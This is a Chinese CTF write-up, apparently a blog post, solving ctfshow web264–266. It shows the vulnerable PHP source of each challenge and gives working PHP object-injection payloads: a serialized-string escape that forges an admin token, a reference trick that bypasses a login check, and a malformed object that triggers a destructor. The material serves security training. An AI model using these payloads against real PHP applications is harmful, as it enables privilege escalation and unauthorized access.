web264
<?php
error_reporting(0);
session_start();
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}
highlight_file(__FILE__);
这道题目应该看一眼就应该看到思路了,为什么?$umsg = str_replace('fuck', 'loveU', serialize($msg));
这里就是典型的字符串逃逸
<?php
# @message.php
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
字符串逃逸特征: $umsg = str_replace('fuck', 'loveU', serialize($msg));
做这种题就三步走,千万别给自己加戏!
第一步:先拿到以个正常最初的反序列化:
代码如下
<?php
class message{
public $from;
public $msg;
public $to;
public $token='admin';
public function __construct($f,$m,$t){
$this->from=$f;
$this->msg = $m;
$this->to=$t;
}
}
function filter($msg){
return str_replace('fuck','loveU',$msg);
}
$msg=new message('a','b','c');
$msg_1=serialize($msg);
echo $msg_1;
O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";N;s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
第二步:使用filter进行一次字符串逃逸。
<?php
class message{
public $from;
public $msg;
public $to;
public $token='admin';
public function __construct($f,$m,$t){
$this->from=$f;
$this->to=$t;
}
}
function filter($msg){
return str_replace('fuck','loveU',$msg);
}
$msg=new message('fuck','b','c');
$msg_1=serialize($msg);
$msg_2=filter($msg_1);
echo $msg_2;
O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"admin";}
第三步:算出要逃逸的次数进行复制输出
s:4:"loveU"很明显逃逸一个字符,因为每次逃逸一个字符,";s:5:"token";s:5:"admin";}这里有27个字符要逃逸,所以必须复制27次fuck,还有这得改成:";s:5:"token";s:5:"admin";},因为后面需要admin权限。
简单来说就是数出";s:5:"token";s:5:"admin";}这里有几个字符,然后输出一共几个fuck,再把";s:5:"token";s:5:"admin";}丢到fuck后面就完成了。
<?php
class message{
public $from;
public $msg;
public $to;
public $token='admin';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
function filter($msg){
return str_replace('fuck','loveU',$msg);
}
$msg = new message('a','b','fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');
$msg_1=serialize($msg);
$msg_2=filter($msg_1);
echo $msg_2;
结果:
O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:5:"admin";}
最后的最后,再进行一次总结:字符串逃逸有三步:
1.拿到正常序列化后字符串。(这个题目都会给·代码你,直接复制然后反序列化就好,没什么技术含量)
2.使用filter进行一次字符串逃逸。
3.第三步:算出要逃逸的次数进行复制输出(但是这里一定要提醒大家一下,字符串逃逸分为增多和减少,苦于篇幅上面我只介绍了一种增多,另外一种也是可以使用本方法的,只是有些地方要改一下而已)
web265
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
我曾经写过一篇做反序列化的基础操作和方法文章:https://blog.csdn.net/csjjjd/article/details/135549767
第一步:怎么输出flag?
答:
if($ctfshow->login()){
echo $flag;
}
第二步:我能控制啥?
答:ctfshow
第三步:
这段代码正常执行时的顺序是什么?
将ctfshw进行反序列化,然后不触发任何魔术方法,然后结束
第四步:
要执行恶意代码,该怎么做?(即为通过我所能控制的东西,如何才能执行恶意代码?)
这里有一个很好用的方法:逆推法
问:怎么echo flag?
答:必须$ctfshow->login()
问:怎么做到$ctfshow->login()
答:login
方法用于判断 $token
是否等于 $password
问:怎么做到$token
等于 $password
答:让他们指向同一块内存
好,分析完毕
第五步:
分析完毕,开始构造代码
<?php class ctfshowAdmin{ public $token; public $password; public function __construct($t,$p){ $this->token=$t; $this->password = &$this->token;//其实就是这个地方让他们指向同一个地址,让他们相等,其他地方直接照搬下来就好 } public function login(){ return $this->token===$this->password; } } $a=new ctfshowAdmin('1','2'); echo serialize($a);
payload:
O:12:"ctfshowAdmin":2:{s:5:"token";s:1:"1";s:8:"password";R:2;}
web266
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
第一步:怎么输出flag?
答: public function __destruct(){
global $flag;
echo $flag;
}
第二步:我能控制啥?
代码这里没有显示,这种情况下那估计得往bp里面写东西了
第三步:
这段代码正常执行时的顺序是什么?
$ctfshowo=@unserialize($cs);
就这个,然后结束
第四步:要执行恶意代码,该怎么做?
还是逆推,我得销毁对象然后触发__destruct()魔术方法, 但是后面有报错异常,所以这里得让类名存在,但是还得使得里面内容反序列化失败。所以这里得破坏他的反序列化结构,但是不破坏类名
第五步:构造代码:
<?php class ctfshow { public $username = 'xxxxxx'; public $password = 'xxxxxx'; public function __construct($u, $p) { $this->username = $u; $this->password = $p; } public function login() { return $this->username === $this->password; } public function __toString() { return $this->username; } } $admin = new ctfshow('123','123'); echo serialize(($admin));
其实就是进行一个正常的反序列化
O:7:"ctfshow":2:{s:8:"username";s:1:"1";s:8:"password";s:1:"2";}
接下来把里面的内容换成类名就好了
O:7:"ctfshow":2:{ctfshow}
在bp上面提交就好
真诚希望我的文章能够帮助大家!